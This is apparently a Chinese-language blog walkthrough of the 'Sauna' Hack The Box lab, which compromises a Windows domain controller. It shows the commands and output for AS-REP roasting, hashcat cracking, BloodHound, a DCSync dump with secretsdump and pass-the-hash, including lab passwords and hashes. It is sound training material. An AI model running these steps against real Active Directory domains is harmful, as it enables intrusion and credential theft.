Zumpyx Blog

Sauna

Machines#229EasyWindows
← Machines

Recon & Enum

export IP=10.10.10.175

  • nmap -sC -A -p- --min-rate 1000 -T4 $IP
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-title: Egotistical Bank :: Home
|_http-server-header: Microsoft-IIS/10.0
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-01-11 10:43:20Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        .NET Message Framing
49667/tcp open  msrpc         Microsoft Windows RPC
49673/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49674/tcp open  msrpc         Microsoft Windows RPC
49675/tcp open  msrpc         Microsoft Windows RPC
49724/tcp open  msrpc         Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2019 (88%)
Aggressive OS guesses: Microsoft Windows Server 2019 (88%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: SAUNA; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2024-01-11T10:45:36
|_  start_date: N/A
|_clock-skew: 6h59m37s
  • crackmapexec
crackmapexec smb -i $IP -u guest -p '' --rid-brute 10000
crackmapexec smb -i $IP -u guest -p '' --shares
---
Null
  • ldpasearch
ldapsearch -H "ldap://$IP" -x -s base namingcontexts
---
# extended LDIF
#
# LDAPv3
# base <> (default) with scope baseObject
# filter: (objectclass=*)
# requesting: namingcontexts 
#

#
dn:
namingcontexts: DC=EGOTISTICAL-BANK,DC=LOCAL
namingcontexts: CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL
namingcontexts: CN=Schema,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL
namingcontexts: DC=DomainDnsZones,DC=EGOTISTICAL-BANK,DC=LOCAL
namingcontexts: DC=ForestDnsZones,DC=EGOTISTICAL-BANK,DC=LOCAL

# search result
search: 2
result: 0 Success

# numResponses: 2
# numEntries: 1

ldapsearch -H "ldap://$IP" -x -b "DC=EGOTISTICAL-BANK,DC=LOCAL" > ldap_EGOTISTICAL-BANK_local.log
cat ldap_EGOTISTICAL-BANK_local.log | grep 'userPrincipalName\|OU=Service Accounts'
  • Get User
impacket-GetADUsers EGOTISTICAL-BANK.local/ -dc-ip 10.10.10.175 
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Querying 10.10.10.175 for information about domain.
Name                  Email                           PasswordLastSet      LastLogon           
--------------------  ------------------------------  -------------------  -------------------

没有枚举到用户，再看看 Web 服务

  • fuzz
ffuf -u http://egotistical-bank.local/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt

Pasted+image+20240111134337.png

无结果

  • 尝试爬取 Web 页面内容
cewl http://egotistical-bank.local/ -w web_cewl.list
400 多行，有点多
  • 找到 about.html 页面，猜测团队成员姓名作为用户

Pasted+image+20240111142014.png

简单处理一下

Pasted+image+20240111142226.png

  • 枚举用户名，尝试 ASREP-Roasting，失败，尝试其他组合

Pasted+image+20240111143849.png

  • 再次尝试 ASREP-Roasting
impacket-GetNPUsers -no-pass -usersfile user.list -dc-ip 10.10.10.175 egotistical-bank.local/
---
Impacket v0.11.0 - Copyright 2023 Fortra

$krb5asrep$23$FSmith@EGOTISTICAL-BANK.LOCAL:85bd1f636ebf06b2629b4e5cd0ed4be8$032fc5134db8eb03fe5304ed672b33c8c9f9e0c5543d36dc7d9a309ef1d4f1cf86c21301663c939d51ec9eb7d310291905df8b84b351e108b8390aa803cf20a2147baab18d659cb80a93c3618335dc2120207cb06008888036cfb791617fcf7e21b032b559122553e5fad8a7c75712a01e81f24d9da72a46be032266717a59b96bd9a2d9e5ddda94ed9a1ea5ac76ac79b144febfa8c6efcffd3bb3b5498c229128c632980142aabf2a103348059dab5daf48c08f21c67dcc03582da75c23720d8f1c7b36d72100eabb6aab5cfdc0b911f526ef2b9069bcdcc5c1809830d9b8d55fb03d884d75fc906efef0f8e8f48ed15d89b3e9d2a6c474808eab1d194f96cb

Shell as User - FSmith

  • 爆破 Hash hashcat -m 18200 [krb5asrep hash] rockyou.txt
$krb5asrep$23$FSmith@EGOTISTICAL-BANK.LOCAL:85bd1f636ebf06b2629b4e5cd0ed4be8$032fc5134db8eb03fe5304ed672b33c8c9f9e0c5543d36dc7d9a309ef1d4f1cf86c21301663c939d51ec9eb7d310291905df8b84b351e108b8390aa803cf20a2147baab18d659cb80a93c3618335dc2120207cb06008888036cfb791617fcf7e21b032b559122553e5fad8a7c75712a01e81f24d9da72a46be032266717a59b96bd9a2d9e5ddda94ed9a1ea5ac76ac79b144febfa8c6efcffd3bb3b5498c229128c632980142aabf2a103348059dab5daf48c08f21c67dcc03582da75c23720d8f1c7b36d72100eabb6aab5cfdc0b911f526ef2b9069bcdcc5c1809830d9b8d55fb03d884d75fc906efef0f8e8f48ed15d89b3e9d2a6c474808eab1d194f96cb:Thestrokes23

[email protected] / Thestrokes23
  • evil-winrm -i $IP -u 'FSmith' -p 'Thestrokes23'

Pasted+image+20240111144537.png

  • 域控为 SAUNA.EGOTISTICAL-BANK.LOCAL，开始遛狗
bloodhound-python -c all -d 'EGOTISTICAL-BANK.LOCAL' -u 'FSmith' -p 'Thestrokes23' -dc EGOTISTICAL-BANK.LOCAL -ns 10.10.10.175

  • 首先找到能够 AS-REP Roastable 的用户，标记为 owned

  • 找到高价值路径

Pasted+image+20240111150455.png

发现一个用户具有 DCSync 权限

  • 跑一下 winpeas

Pasted+image+20240111153159.png

发现 svc_loanmanager/Moneymakestheworldgoround! 自动登录的密码，刚好这个用户有 DCSync 权限，登录后不对，在 Users 目录发现用户名为 svc_loanmgr

Pasted+image+20240111155209.png

Shell as Root

  • impacket-secretsdump EGOTISTICALBANK/svc_loanmgr:'Moneymakestheworldgoround!'@10.10.10.175
Impacket v0.11.0 - Copyright 2023 Fortra

[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied 
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:823452073d75b9d1cf70ebdf86c7f98e:::
...
  • PTH - Administrator evil-winrm -i $IP -u administrator -H '823452073d75b9d1cf70ebdf86c7f98e'

Pasted+image+20240111163007.png

Dump Hash

impacket-secretsdump EGOTISTICALBANK/svc_loanmgr:'Moneymakestheworldgoround!'@10.10.10.175

Impacket v0.11.0 - Copyright 2023 Fortra

[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied 
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:823452073d75b9d1cf70ebdf86c7f98e:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:4a8899428cad97676ff802229e466e2c:::
EGOTISTICAL-BANK.LOCAL\HSmith:1103:aad3b435b51404eeaad3b435b51404ee:58a52d36c84fb7f5f1beab9a201db1dd:::
EGOTISTICAL-BANK.LOCAL\FSmith:1105:aad3b435b51404eeaad3b435b51404ee:58a52d36c84fb7f5f1beab9a201db1dd:::
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:1108:aad3b435b51404eeaad3b435b51404ee:9cb31797c39a9b170b04058ba2bba48c:::
SAUNA$:1000:aad3b435b51404eeaad3b435b51404ee:6e6394a08ede375a3212e17608f33464:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:42ee4a7abee32410f470fed37ae9660535ac56eeb73928ec783b015d623fc657
Administrator:aes128-cts-hmac-sha1-96:a9f3769c592a8a231c3c972c4050be4e
Administrator:des-cbc-md5:fb8f321c64cea87f
krbtgt:aes256-cts-hmac-sha1-96:83c18194bf8bd3949d4d0d94584b868b9d5f2a54d3d6f3012fe0921585519f24
krbtgt:aes128-cts-hmac-sha1-96:c824894df4c4c621394c079b42032fa9
krbtgt:des-cbc-md5:c170d5dc3edfc1d9
EGOTISTICAL-BANK.LOCAL\HSmith:aes256-cts-hmac-sha1-96:5875ff00ac5e82869de5143417dc51e2a7acefae665f50ed840a112f15963324
EGOTISTICAL-BANK.LOCAL\HSmith:aes128-cts-hmac-sha1-96:909929b037d273e6a8828c362faa59e9
EGOTISTICAL-BANK.LOCAL\HSmith:des-cbc-md5:1c73b99168d3f8c7
EGOTISTICAL-BANK.LOCAL\FSmith:aes256-cts-hmac-sha1-96:8bb69cf20ac8e4dddb4b8065d6d622ec805848922026586878422af67ebd61e2
EGOTISTICAL-BANK.LOCAL\FSmith:aes128-cts-hmac-sha1-96:6c6b07440ed43f8d15e671846d5b843b
EGOTISTICAL-BANK.LOCAL\FSmith:des-cbc-md5:b50e02ab0d85f76b
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:aes256-cts-hmac-sha1-96:6f7fd4e71acd990a534bf98df1cb8be43cb476b00a8b4495e2538cff2efaacba
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:aes128-cts-hmac-sha1-96:8ea32a31a1e22cb272870d79ca6d972c
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:des-cbc-md5:2a896d16c28cf4a2
SAUNA$:aes256-cts-hmac-sha1-96:2ccd8d6f46cc2408808b782884731ee45b8bdec96d08001012bf9df9c4db8a01
SAUNA$:aes128-cts-hmac-sha1-96:d5cb46ccd859f2e428634530cc7b5eb7
SAUNA$:des-cbc-md5:104c515b86739e08
[*] Cleaning up...